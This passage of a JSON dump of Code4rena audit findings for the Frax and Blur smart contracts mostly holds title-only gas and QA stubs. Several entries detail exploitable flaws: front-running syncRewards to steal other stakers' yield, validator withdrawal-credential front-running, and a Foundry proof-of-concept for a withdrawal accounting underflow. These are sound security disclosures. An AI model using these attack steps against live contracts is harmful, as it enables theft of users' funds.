`lastRewardAmount/nextRewards`. The `lastRewardAmount` is the surplus balance of the asset, or the most recent yields. ```solidity // lib/ERC4626/src/xERC4626.sol function syncRewards() public virtual { // ... uint256 nextRewards = asset.balanceOf(address(this)) - storedTotalAssets_ - lastRewardAmount_; storedTotalAssets = storedTotalAssets_ + lastRewardAmount_; uint32 end = ((timestamp + rewardsCycleLength) / rewardsCycleLength) * rewardsCycleLength; lastRewardAmount = nextRewards.safeCastTo192(); // ... rewardsCycleEnd = end; } ``` And in the next rewards cycle, `lastRewardAmount` will be linearly added to `storedTotalAssets`, their sum is the return value of `totalAssets()`: ```solidity function totalAssets() public view override returns (uint256) { // ... if (block.timestamp >= rewardsCycleEnd_) { // no rewards or rewards fully unlocked // entire reward amount is available return storedTotalAssets_ + lastRewardAmount_; } // rewards not fully unlocked // add unlocked rewards to stored total uint256 unlockedRewards = (lastRewardAmount_ * (block.timestamp - lastSync_)) / (rewardsCycleEnd_ - lastSync_); return storedTotalAssets_ + unlockedRewards; } ``` `totalAssets()` will be referred when `deposit()` and `redeem()`. ```solidity // lib/solmate/src/mixins/ERC4626.sol function deposit(uint256 assets, address receiver) public virtual returns (uint256 shares) { require((shares = previewDeposit(assets)) != 0, \"ZERO_SHARES\"); // ... _mint(receiver, shares); // ... } function redeem() public virtual returns (uint256 assets) { // ... require((assets = previewRedeem(shares)) != 0, \"ZERO_ASSETS\"); beforeWithdraw(assets, shares); _burn(owner, shares); // ... asset.safeTransfer(receiver, assets); } function previewDeposit(uint256 assets) public view virtual returns (uint256) { return convertToShares(assets); } function previewRedeem(uint256 shares) public view virtual returns (uint256) { return convertToAssets(shares); } function convertToShares(uint256 assets) public view virtual returns (uint256) { uint256 supply = totalSupply; return supply == 0 ? assets : assets.mulDivDown(supply, totalAssets()); } function convertToAssets(uint256 shares) public view virtual returns (uint256) { uint256 supply = totalSupply; return supply == 0 ? shares : shares.mulDivDown(totalAssets(), supply); } ``` Based on the above rules, there are 2 potential abuse cases: 1. If withdraw just after the `rewardsCycleEnd` timestamp, a user can not get the yields from last rewards cycle. Since the `totalAssets()` only contain `storedTotalAssets` but not the yields part. It takes 1 rewards cycle to linearly add to the `storedTotalAssets`. Assume per 10,000 asset staking generate yields of 70 for 7 days, and the reward cycle is 1 day. A malicious user Alice can do the following: - watch the mempool for `withdraw(10,000)` from account Bob, front run it with `syncRewards()`, so that the most recent yields of amount 70 from Bob will stay in the vault. - Alice will also deposit a 10,000 to take as much shares as possible. - after 1 rewards cycle of 1 day, `redeem()` to take the yields of 70. Effectively steal the yields from Bob. The profit for Alice is not 70, because after 1 day, her own deposit also generates some yield, in this example this portion is 1. At the end, Alice steal yield of amount 60. 2. When the Multisig Treasury transfers new yields into the vault, the new yields will accumulate until `syncRewards()` is called. It is possible that yields from multiple rewards cycles accumulates, and being released in the next cycle. Knowing that the yields has been accumulated for 3 rewards cycles, a malicious user can `deposit()` and call `syncRewards()` to trigger the release of the rewards. `redeem()` after 1 cycle. Here the malicious user gets yields of 3 cycles, lose 1 in the waiting cycle. The net profit is 2 cycle yields, and the gained yields should belong to the other users in the vault. ## Tools Used Manual analysis. ## Recommended Mitigation Steps - for the `lastRewardAmount` not released, allow the users to redeem as it is linearly released later. - for the accumulated yields, only allow users to redeem the yields received after 1 rewards cycle after the deposit."}, {"title": "Centralization risk: admin have privileges: admin can set address to mint any amount of frxETH, can set any address as validator, and change important state in frxETHMinter and withdraw fund from frcETHMinter ", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/107", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "Centralization risk: admin have privileges: admin can set address to mint any amount of frxETH, can set any address as validator, and change important state in frxETHMinter and withdraw fund from frcETHMinter "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/106", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/104", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Validators are matched out of order, making early validators possibly forever unmatched", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/102", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "Validators are matched out of order, making early validators possibly forever unmatched"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/91", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/86", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/85", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/82", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Frontrunning by malicious validator", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/81", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "sponsor confirmed"], "target": "2022-09-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-frax/blob/main/src/frxETHMinter.sol#L120 # Vulnerability details ## Impact Frontrunning by malicious validator changing withdrawal credentials ## Proof of Concept A malicious validator can frontrun depositEther transaction for its pubKey and deposit 1 ether for different withdrawal credential, thereby setting withdrawal credit before deposit of 32 ether by contract and thereby when 32 deposit ether are deposited, the withdrawal credential is also what was set before rather than the one being sent in depositEther transaction ## Recommended Mitigation Steps Set withdrawal credentials for validator by depositing 1 ether with desired withdrawal credentials, before adding it in Operator Registry"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/75", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/72", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/69", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/64", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/55", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/54", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Rewards distribution will fail", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "Rewards distribution will fail"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/43", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/38", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Add the validator repeatedly", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/36", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "Add the validator repeatedly"}, {"title": "sfrxETH: The volatile result of previewMint() may prevent mintWithSignature from working", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-frax-findings", "body": "sfrxETH: The volatile result of previewMint() may prevent mintWithSignature from working"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/30", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/26", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "frxETHMinter: Non-conforming ERC20 tokens not recoverable ", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/18", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "frxETHMinter: Non-conforming ERC20 tokens not recoverable "}, {"title": "frxETHMinter.depositEther may run out of gas, leading to lost ETH", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/17", "labels": ["bug", "2 (Med Risk)", "in discussion", "primary issue", "sponsor confirmed", "depositEther OOG"], "target": "2022-09-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-frax/blob/dc6684f77b4e9bd965e8862be7f5fb71473a4c4c/src/frxETHMinter.sol#L129 # Vulnerability details ## Impact `frxETHMinter.depositEther` always iterates over all deposits that are possible with the current balance (`(address(this).balance - currentWithheldETH) / DEPOSIT_SIZE`). However, when a lot of ETH was deposited into the contract / it was not called in a long time, this loop can reach the gas limit. When this happens, no more calls to `depositEther` are possible, as it will always run out of gas. Of course, the probability that such a situation arises depends on the price of ETH. For >1,000 USD it would need require someone to deposit a large amount of money (which can also happen, there are whales with thousands of ETH, so if one of them would decide to use frxETH, the problem can arise). For lower prices, it can happen even for small (in dollar terms) deposits. And in general, the correct functionality of a protocol should not depend on the price of ETH. ## Proof Of Concept Jerome Powell continues to rise interest rates, he just announced the next rate hike to 450%. The crypto market crashes, ETH is at 1 USD. Bob buys 100,000 ETH for 100,000 USD and deposits them into `frxETHMinter`. Because of this deposit, `numDeposit` within `depositEther` is equal to 3125. Therefore, every call to the function runs out of gas and it is not possible to deposit this ETH into the deposit contract. ## Recommended Mitigation Steps It should be possible to specify an upper limit for the number of deposits such that progress is possible, even when a lot of ETH was deposited into the contract."}, {"title": "Wrong accounting logic when syncRewards() is called within beforeWithdraw makes withdrawals impossible", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/15", "labels": ["bug", "question", "3 (High Risk)", "primary issue", "sponsor confirmed", "syncRewards wrong nextRewards"], "target": "2022-09-frax-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-frax/blob/dc6684f77b4e9bd965e8862be7f5fb71473a4c4c/src/sfrxETH.sol#L50 # Vulnerability details ## Impact `sfrxETH.beforeWithdraw` first calls the `beforeWithdraw` of `xERC4626`, which decrements `storedTotalAssets` by the given amount. If the timestamp is greater than the `rewardsCycleEnd`, `syncRewards` is called. However, the problem is that the assets have not been transfered out yet, meaning `asset.balanceOf(address(this))` still has the old value. On the other hand, `storedTotalAssets` was already updated. Therefore, the following calculation will be inflated by the amount for which the withdrawal was requested: ``` uint256 nextRewards = asset.balanceOf(address(this)) - storedTotalAssets_ - lastRewardAmount_; ``` This has severe consequences: 1.) During the following reward period, `lastRewardAmount` is too high, which means that too much rewards are paid out too users who want to withdraw. A user could exploit this to steal the assets of other users. 2.) When `syncRewards()` is called the next time, it is possible that the `nextRewards` calculation underflows because `lastRewardAmount > asset.balanceOf(address(this))`. This is very bad because `syncRewards()` will be called in every withdrawal (after the `rewardsCycleEnd`) and none of them will succeed because of the underflow. Depositing more also does not help here, it just increases `asset.balanceOf(address(this))` and `storedTotalAssets` by the same amount, which does not eliminate the underflow. Note that this bug does not require a malicious user or a targeted attack to surface. It can (and probably will) happen in practice just by normal user interactions with the vault (which is for instance shown in the PoC). ## Proof Of Concept Consider the following test: ``` function testTotalAssetsAfterWithdraw() public { uint128 deposit = 1 ether; uint128 withdraw = 1 ether; // Mint frxETH to this testing contract from nothing, for testing mintTo(address(this), deposit); // Generate some sfrxETH to this testing contract using frxETH frxETHtoken.approve(address(sfrxETHtoken), deposit); sfrxETHtoken.deposit(deposit, address(this)); require(sfrxETHtoken.totalAssets() == deposit); vm.warp(block.timestamp + 1000); // Withdraw frxETH (from sfrxETH) to this testing contract sfrxETHtoken.withdraw(withdraw, address(this), address(this)); vm.warp(block.timestamp + 1000); sfrxETHtoken.syncRewards(); require(sfrxETHtoken.totalAssets() == deposit - withdraw); } ``` This is a normal user interaction where a user deposits into the vault, and makes a withdrawal some time later. However, at this point the `syncRewards()` within the `beforeWithdraw` is executed. Because of that, the documented accounting mistake happens and the next call (in fact every call that will be done in the future) to `syncRewards()` reverts with an underflow. ## Recommended Mitigation Steps Call `syncRewards()` before decrementing `storedTotalAssets`, i.e.: ``` function beforeWithdraw(uint256 assets, uint256 shares) internal override { if (block.timestamp >= rewardsCycleEnd) { syncRewards(); } super.beforeWithdraw(assets, shares); // call xERC4626's beforeWithdraw AFTER } ``` Then, `asset.balanceOf(address(this))` and `storedTotalAssets` are still in sync within `syncRewards()`."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/14", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "removeValidator() and removeMinter() may fail due to exceeding gas limit", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/12", "labels": ["bug", "2 (Med Risk)"], "target": "2022-09-frax-findings", "body": "removeValidator() and removeMinter() may fail due to exceeding gas limit"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/11", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/8", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "sfrxETH contract doesn't allow depositing or minting with signature", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/6", "labels": ["in discussion", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "sfrxETH contract doesn't allow depositing or minting with signature"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/5", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-frax-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/4", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/3", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/2", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-frax-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-09-frax-findings/issues/1", "labels": [], "target": "2022-09-frax-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/843", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/835", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/830", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/826", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/806", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/788", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/780", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/779", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/763", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/736", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/692", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/687", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "StandardPolicyERC1155.sol returns amount == 1 instead of amount == order.amount", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/666", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "selected for report"], "target": "2022-10-blur-findings", "body": "StandardPolicyERC1155.sol returns amount == 1 instead of amount == order.amount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/642", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/641", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/639", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/633", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/597", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/582", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Ether can be locked in BlurExchange contract", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/569", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "Ether can be locked in BlurExchange contract"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/557", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/551", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/550", "labels": ["bug", "G (Gas Optimization)", "selected for report"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/546", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/545", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/522", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/508", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/497", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/479", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/438", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/434", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/405", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/378", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/352", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/344", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/338", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/295", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)", "selected for report"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/277", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/276", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Order hashes remain valid through upgrades of BlurExchange implementation, leading to user risks", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/267", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Order hashes remain valid through upgrades of BlurExchange implementation, leading to user risks"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/262", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/251", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/243", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/238", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Contract Owner Possesses Too Many Privileges", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/235", "labels": ["bug", "2 (Med Risk)", "selected for report"], "target": "2022-10-blur-findings", "body": "Contract Owner Possesses Too Many Privileges"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/225", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/202", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/155", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/141", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/133", "labels": 